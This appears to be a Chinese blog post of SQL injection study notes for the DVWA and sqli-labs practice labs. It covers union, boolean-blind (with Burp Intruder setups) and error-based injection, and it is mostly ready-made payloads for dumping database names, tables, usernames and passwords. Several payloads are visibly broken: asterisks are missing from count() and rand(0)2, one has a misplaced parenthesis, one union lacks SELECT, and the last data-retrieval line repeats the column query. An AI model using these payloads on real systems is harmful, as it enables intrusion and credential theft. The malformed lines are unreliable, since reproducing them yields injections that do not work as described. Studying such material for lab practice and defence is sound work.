1. 程式人生 > 其它 >sql查詢報錯注入

sql查詢報錯注入

一、聯合查詢注入:當有.php?id=1,引數值為id
(1)看有無報錯?
'
(2)判斷數字型還是字元型注入?
1
數字型:兩次返回的頁面不同
1 and 1=1
1 and 1=2
字元型:兩次返回的頁面不同
1' and '1'='1
1' and '1'='2

(3)假設為字元型:猜解欄位數
1' order by 1 #(如果是url欄裡輸入,#用%23或--+代替)(sql註釋符-- 在url裡就是--+)
...(空格的url編碼是+)
1' order by n #(...)

(4)假設欄位數2,判斷哪些欄位有回顯:
1' union select 1,2 #

(5)假設1,2都有回顯:
獲取當前資料庫名和資料庫使用者名稱
1' union select database(),user() #
獲取當前資料庫版本和作業系統
1' union select version(),@@version_compile_os #

(6)獲取當前資料庫裡的所有表:假設當前資料庫名為dvwa
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa' #
(或者table_name=database()或者table_name=0x64767761)
其中0x64767761為dvwa的十六進位制,如果table_name=dvwa會報錯

(7)假設查出users表示敏感表:判斷users表裡有哪些欄位?
1' union group_concat(column_name,0x3c2f62723e)(如果結果需要換行,加上0x3c2f62723e,不需要則不用寫) from information_schema.columns where table_name='users' #

(8)假設敏感欄位是user和password,查詢出賬號和密碼
1' union select user,password from users #

注意:如果是在url裡輸入,並且發現只能顯示一條資料,不像dvwa能顯示多條查詢記錄,用union判斷回顯時,發現仍然是id=1的顯示,這是id=1資料佔據了僅有的顯示位置
只需修改成id=-1' union select 1,2,3 --+ 就能看有無回顯

二、布林型盲注:當聯合查詢無回顯時
1、首先加'發現有報錯,報錯資訊顯示後面跟了limit,先判斷是數字型還是字元型
1 看看id=1的頁面如何
1 and 1=1
1 and 1=2 若二者返回內容不同則為數字型,若返回內容一樣,那肯定是字元型
...(數字型判斷不是,那一般就是字元型,字元型可以不用輸入判斷語句了)

2、猜解當前資料庫名稱的長度
1' and length(database())=1 --+ 判斷返回的結果是否與id=1相同,若與id=1不同是報錯,與id=1相同是正確,即資料庫名稱長度是1
...
那最快的方法就是Bp抓包,傳送到Intruder模組,新增變數:GET /sqli-labs-master/Less-5/index.php?id=1%27%20and%20length(database())=§7§%20%23 HTTP/1.1
設定Payloads為Numbers,資料庫名稱應該不會超過20,50這樣的吧?設定1-20,間隔為1,果然為8時,返回了正確提示

3、猜測資料庫名稱,資料庫名稱長度為8,那就先從第一個字元開始:
1' and ascii(substr(database()),1,1) > 97 --+ 一般手工注入就是這樣手算,substr()可以換成mid()和left(database(),1)、ascii()可以換成ord()
依然用Bp來爆破:GET /sqli-labs-master/Less-5/index.php?id=1%27%20and%20substr(database(),1,1)=%27§a§%27%20%23 HTTP/1.1 得出最後結果security
不對,不是將其爆破8次,應該將兩個位置的引數,同時一起爆破:太雞巴帥了,直接同時爆破,因為這兩個位置屬於:不同且不相關的未知輸入攻擊,攻擊模式即為Cluster bomb
GET /sqli-labs-master/Less-5/index.php?id=1%27%20and%20substr(database(),§1§,1)=%27§a§%27%20%23 HTTP/1.1
第一個位置就是用Number型別的字典,1-8按照資料庫名稱長度,第二個字典只需小寫字母的英文字典,sql不區分大小寫,最終結果為security(注意,有些資料庫名稱可能會有下劃線。大寫字母等,保險起見還是用 ascii(substr(database()),§1§,1) = §32§ ,32這裡用32到127的數字字典,在ASCII表裡表示所有可列印字元的範圍)

4、猜解資料庫中的表名:
首先猜解當前資料庫中有多少張表:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+ 這裡手工測試吧,改變最後位置的1,直到返回正確的頁面,最後結果為4張表
接著猜解第一張表名稱的第一個字元:
首先仍然需要猜解第一張表的名稱長度:substr需要擷取整個名稱字串,省略第三個引數,預設擷取到字串結束為止
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 --+ 結果長度為6,一般我們在這裡直接將剩餘三張表的長度也測出來了
同時測出四張表的各自的名稱長度,預計名稱長度應該不會超過20,注意第一個位置的字典設定成0-3,而不是1-4,limit從0開始
id=1%27%20and%20length(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20§0§,1),1))=§1§%20--+ HTTP/1.1
最終結果:四張表名的長度依次是6,8,7,5
接著猜解第一張表的名稱
手工注入是這樣:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
但是我們選擇同時進行兩個位置的爆破:已經測出長度為6,第一個位置的字典就設定為Number型別的1-6,第二個位置就是a-z
1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' --+
?id=1%27%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),§1§,1)=%27§a§%27%20--+ HTTP/1.1
最終結果為emails
同樣的方法(這裡得再測三次),得出剩餘三張表的名稱為:referers、uagents、users

5、顯然來猜解users表中的欄位名有哪些?
首先猜解有多少個欄位?
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 --+(手工判斷)
id=1%27%20and%20(select%20count(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)=§1§%20--+ HTTP/1.1 (Bp爆破) 結果為27個欄位,我的天
正常步驟是:繼續猜解第一個欄位的長度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 --+ (拿到bp裡去爆破的話,可以同時測出27個欄位各自的名稱長度)
接著第一個欄位的名字(先猜解第一個欄位的第一個字元ascii碼)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97 --+
顯示存在,說明users表的第一個欄位的第一個字元的ascii值大於97(小寫字母a的ascii值)
或者用:1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a' --+ 拿到bp裡去爆破,兩個位置進行爆破
這裡要同時進行27次,太麻煩,下面有幾個稍微快速的猜測的辦法:
第一種:用正則表示式來匹配
select 1 from product where id = 1;返回一條結果為1的記錄,如果where條件裡有錯誤,會報錯。
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and regexp '^us[a-z]' limit 0,1) --+),具體看文件
這裡我們用直接猜吧?有可能其他資料庫裡也有users這張表,所以後面加個and database()
1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1)='username' --+
(對limit後面的0進行0到27的爆破,前面已查出有27個欄位名,改成password再做同樣操作),實驗結果,第二個欄位為username,第三個欄位為password

6、接下來就要猜解users表中username欄位和password欄位的資料:
1' and (select count(username) from users)=1 --+ (改變最後位置的1,直到返回正確的頁面,判斷出有多少行的資料),最後結果為13,用Bp爆破出來
同樣先猜解出username列的第一行的資料的長度
1' and length(substr((select username from users limit 0,1),1))=1 --+結果為4
猜解出名稱,從第一個字元開始,直接兩個位置一起爆破
1' and substr((select username from users limit 0,1),1,1)='a' --+ 結果為dumb,同理猜解出對應的密碼,就是password列的第一行資料,用跟username列同樣的方法,這裡暫時就只猜解第一行資料了

三、報錯注入:記住幾個分隔符,0x3a是: 0x7e是~ 0x7c是| ,這些分隔符用於插入concat()函式中
1、floor()、rand()、count()、group by
最基本的是這樣:
select count(),floor(rand(0)2) x from table group by x;
其他:
select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2)) x from information_schema.tables group by x)a);
select * from message where id=1 union select * from(select count(),concat(floor(rand(0)2),user()) x from information_schema.tables group by x)a;
select count() from information_schema.tables group by concat(version(), floor(rand(0)2));

2、select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
以extractvalue()函式的報錯來實踐一下,sqli-labs靶場的第17關,其實就是替換。。。
版本資訊:
and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #
資料庫名稱
and extractvalue(1,concat(0x7e,(select database()),0x7e)) #
獲取表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) #
獲取列名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e)) #
獲取資料
and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

資料庫名
uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+
表名
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+
列名
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+
獲取資料
uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0)--+

4、select * from test where id=1 and geometrycollection((select * from(select * from (select user()) a) b));
(select user()) a
(select * from (select user()) a) b
(select * from a) b
geometrycollection((select * from b));

5、select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6、select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7、select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8、select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9、select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

以下資料庫版本要在5.5.5及其以上
10、select * from test where id=1 and exp(~(select * from(select user())a));